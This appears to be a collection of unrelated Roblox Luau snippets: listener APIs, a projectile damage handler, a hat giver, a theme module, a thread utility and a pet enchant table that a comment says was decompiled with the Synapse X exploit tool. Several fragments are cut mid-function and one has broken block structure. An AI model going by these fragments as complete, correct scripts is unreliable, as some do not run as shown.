table.insert(listeners, listener)
-- ScriptConnection which allows the disconnection of the listener:
if #path_array == 0 then
return Madwork.NewArrayScriptConnection(listeners, listener)
else
return Madwork.NewArrayScriptConnection(listeners, listener, CleanTableListenerTable, {self._table_listeners, path_array})
end
end
function Replica:ListenToWrite(function_name, listener) --> [ScriptConnection] listener(params...)
if type(listener) ~= "function" then
error("[ReplicaController]: Only a function can be set as listener in Replica:ListenToWrite()")
end
if self._write_lib == nil then
error("[ReplicaController]: _write_lib was not declared for this replica")
end
local func_id = self._write_lib_dictionary[function_name]
if func_id == nil then
error("[ReplicaController]: Write function \"" .. function_name .. "\" not declared inside _write_lib of this replica")
end
-- Getting listener table for given path:
local listeners = self._function_listeners[func_id]
if listeners == nil then
listeners = {}
self._function_listeners[func_id] = listeners
end
table.insert(listeners, listener)
-- ScriptConnection which allows the disconnection of the listener:
return Madwork.NewArrayScriptConnection(listeners, listener)
end
function Replica:ListenToRaw(listener) --> [ScriptConnection] (action_name, params...)
local listeners = self._raw_listeners
table.insert(listeners, listener)
return Madwork.NewArrayScriptConnection(listeners, listener)
end
|
-- Connect the event handlers to the appropriate events
|
game.Players.PlayerAdded:Connect(onPlayerJoin)
game.Players.PlayerChatted:Connect(onPlayerChatted)
|
--!strict
|
type Array<T> = { [number]: T }
type callbackFn<T> = (element: T, index: number, array: Array<T>) -> boolean
type callbackFnWithThisArg<T, U> = (self: U, element: T, index: number, array: Array<T>) -> boolean
type Object = { [string]: any }
|
--[[
Game loop implementaiton
]]
|
local gameStageHandler = GameStageHandler.new()
|
--removedLength = 8
|
function onTouched(hit)
if hit.Parent == nil or hit.Name == "Bullet" then return end
local humanoid = hit.Parent:findFirstChild("Humanoid")
if(ball.Name=="Bullet") then
-- make a splat
for i=1,3 do
local s = Instance.new("Part")
s.Name = "Shard"
s.Shape = 1 -- block
s.formFactor = 2 -- plate
s.Size = Vector3.new(.4,.4,.4)
s.BrickColor = BrickColor.new(blacks[math.random(#blacks)])
s.Material = Enum.Material.Plastic
local v = Vector3.new(math.random(-1,1), math.random(0,1), math.random(-1,1))
s.Velocity = 125 * v
s.CFrame = CFrame.new(ball.Position + v, v)
local new_script = script:clone()
new_script.Disabled = false
new_script.Parent = s
s.Parent = game.Workspace
local tag = ball:findFirstChild("creator")
if tag~= nil then
local new_tag = tag:clone()
new_tag.Parent = s
end
debris:AddItem(s, 2)
if humanoid ~= nil then
tagHumanoid(humanoid)
humanoid:TakeDamage(damage)
wait(2)
untagHumanoid(humanoid)
end
connection:disconnect()
ball.Parent = nil
end
else
if humanoid ~= nil then
tagHumanoid(humanoid)
humanoid:TakeDamage(10)
wait(2)
untagHumanoid(humanoid)
ball.Parent = nil
end
--removedLength = 2
connection:disconnect()
end
end
function tagHumanoid(humanoid)
-- todo: make tag expire
local tag = ball:findFirstChild("creator")
if tag ~= nil then
local new_tag = tag:clone()
new_tag.Parent = humanoid
end
end
function untagHumanoid(humanoid)
if humanoid ~= nil then
local tag = humanoid:findFirstChild("creator")
if tag ~= nil then
tag.Parent = nil
end
end
end
connection = ball.Touched:connect(onTouched)
wait(8)
|
-- (Hat Giver Script - Loaded.)
|
debounce = true
function onTouched(hit)
if (hit.Parent:findFirstChild("Humanoid") ~= nil and debounce == true) then
debounce = false
h = Instance.new("Hat")
p = Instance.new("Part")
h.Name = "WerewolfCrown"
p.Parent = h
p.Position = hit.Parent:findFirstChild("Head").Position
p.Name = "Handle"
p.formFactor = 0
p.Size = Vector3.new(0,-0.25,0)
p.BottomSurface = 0
p.TopSurface = 0
p.Locked = true
script.Parent.Mesh:clone().Parent = p
h.Parent = hit.Parent
h.AttachmentPos = Vector3.new(0, -0.05, 0)
h.AttachmentRight = Vector3.new(1, 0, 0)
h.AttachmentUp = Vector3.new(0, 1, 0)
h.AttachmentForward = Vector3.new(-0, -0, -1)
wait(5)
debounce = true
end
end
script.Parent.Touched:connect(onTouched)
|
--- haha pro scripting go brrr (not copy and pasted)
|
local fl = Instance.new("Motor", script.Parent.Parent.Misc.FL.SS) --doors
local fr = Instance.new("Motor", script.Parent.Parent.Misc.FR.SS)
local rl = Instance.new("Motor", script.Parent.Parent.Misc.RL.SS)
local rr = Instance.new("Motor", script.Parent.Parent.Misc.RR.SS)
fl.MaxVelocity = 0.03
fl.Part0 = script.Parent.FL
fl.Part1 = fl.Parent
fr.MaxVelocity = 0.03
fr.Part0 = script.Parent.FR
fr.Part1 = fr.Parent
rl.MaxVelocity = 0.03
rl.Part0 = script.Parent.RL
rl.Part1 = rl.Parent
rr.MaxVelocity = 0.03
rr.Part0 = script.Parent.RR
rr.Part1 = rr.Parent
|
--[[
Instead of doing lots of task.spawns for running on seperate threads
use this which is more performant & is better for memory management.
`FreeThread` idea from derived from `Signal`. I want to point how the way
it operates is the same but is improved.
:::note
1. Garbage collection is all about references.
2. Only use this module if you know the enviroments wont always yield (this can severly slow down code)
:::
]]
|
local FreeThread: thread?
local function AquireFreeThreadAndCall(fn: (...unknown) -> (), ...)
local aquiredThread = FreeThread
FreeThread = nil
fn(...)
FreeThread = aquiredThread
end
local function CreateResumptionForFreeThread()
while true do
AquireFreeThreadAndCall(coroutine.yield())
end
end
local function Call<T...>(func: (T...) -> (), ...: T...)
assert(type(func) == 'function', `Function expected, got {typeof(func)}`)
if not FreeThread then
FreeThread = task.spawn(CreateResumptionForFreeThread)
end
task.spawn(FreeThread :: thread, func, ...)
end
local function All(tbl: {(...unknown) -> ()}, ...: unknown)
for _, fn in tbl do
Call(fn, ...)
end
end
local function List(tbl: {}, func: (key: any, value: any) -> ())
for k, v in tbl do
Call(func, k, v)
end
end
local function Empty()
FreeThread = nil
end
local class = {
Empty = Empty,
Call = Call,
List = List,
All = All,
}
return class
|
-- Call the update function initially to set the visibility based on the default settings
|
updateFrameVisibility()
|
--[[
]]
|
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local AvatarEditor = ReplicatedStorage.AvatarEditor
local Signal = require(AvatarEditor.Shared.Util.Signal)
local Maid = require(AvatarEditor.Shared.Util.Maid)
local Settings = require(AvatarEditor.Shared.Settings)
local themesFolder = AvatarEditor.Themes
local currentTheme = require(themesFolder[Settings.DEFAULT_THEME])
local currentName = Settings.DEFAULT_THEME
local module = {}
module.Changed = Signal.new()
function module:GetColor(style)
return currentTheme[style]
end
function module:Set(themeName)
if currentName == themeName then
return
end
local themeModule = themesFolder:FindFirstChild(themeName)
if themeModule then
currentTheme = nil
currentTheme = require(themeModule)
currentName = themeModule.Name
module.Changed:Fire(themeName)
else
warn(themeName, "not a valid theme")
end
end
function module:Bind(frame, property, style)
local connections = Maid.new()
--maid:GiveTask(connections)
--local ancestorChangedConnection, themeChangedConnection
local function update()
frame[property] = self:GetColor(style)
end
update()
connections:GiveTask(module.Changed:Connect(update))
connections:GiveTask(frame.AncestryChanged:Connect(function(_, parent)
if not parent then
connections:DoCleaning()
update = nil
end
end))
return connections
end
function module:GetAll()
local themes = {}
local themeModules = themesFolder:GetChildren()
table.sort(themeModules, function(a, b)
return a.Name < b.Name
end)
for i, v in ipairs(themeModules) do
table.insert(themes, v.Name)
end
return themes
end
return module
|
-- Decompiled with the Synapse X Luau decompiler.
|
return {
["Rainbow Coins"] = {
canDrop = true,
dropWeight = 20,
isUnique = false,
tiers = { {
title = "Rainbow Coins I",
desc = "Pet earns +15% more Rainbow Coins",
value = 1.15
}, {
title = "Rainbow Coins II",
desc = "Pet earns +30% more Rainbow Coins",
value = 1.3
}, {
title = "Rainbow Coins III",
desc = "Pet earns +50% more Rainbow Coins",
value = 1.5
}, {
title = "Rainbow Coins IV",
desc = "Pet earns +75% more Rainbow Coins",
value = 1.75
}, {
title = "Rainbow Coins V",
desc = "Pet earns +100% more Rainbow Coins",
value = 2
} }
}
};
|
-- callbacks
|
MarketplaceService.ProcessReceipt = ProcessReceipt
|
---Size standards
|
local DEFAULT_ICON_SIZE=Vector2.new(18,18)
local TextService = game:GetService("TextService")
local Players = game:GetService("Players")
local LocalPlayer = Players.LocalPlayer
while not LocalPlayer do
Players.ChildAdded:wait()
LocalPlayer = Players.LocalPlayer
end
local clientChatModules = script.Parent.Parent
local ChatSettings = require(clientChatModules:WaitForChild("ChatSettings"))
local ChatConstants = require(clientChatModules:WaitForChild("ChatConstants"))
local module = {}
local methods = {}
methods.__index = methods
function methods:GetStringTextBounds(text, font, textSize, sizeBounds)
sizeBounds = sizeBounds or Vector2.new(10000, 10000)
return TextService:GetTextSize(text, textSize, font, sizeBounds)
end
|
--[[
Turns the system off
]]
|
function BaseSystem:turnOff()
self._isOn = false
Logger.debug("System is now off")
sendAlert(Constants.Alert.Normal, translate("{name} is now off!", {name = self.name}))
return true
end
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.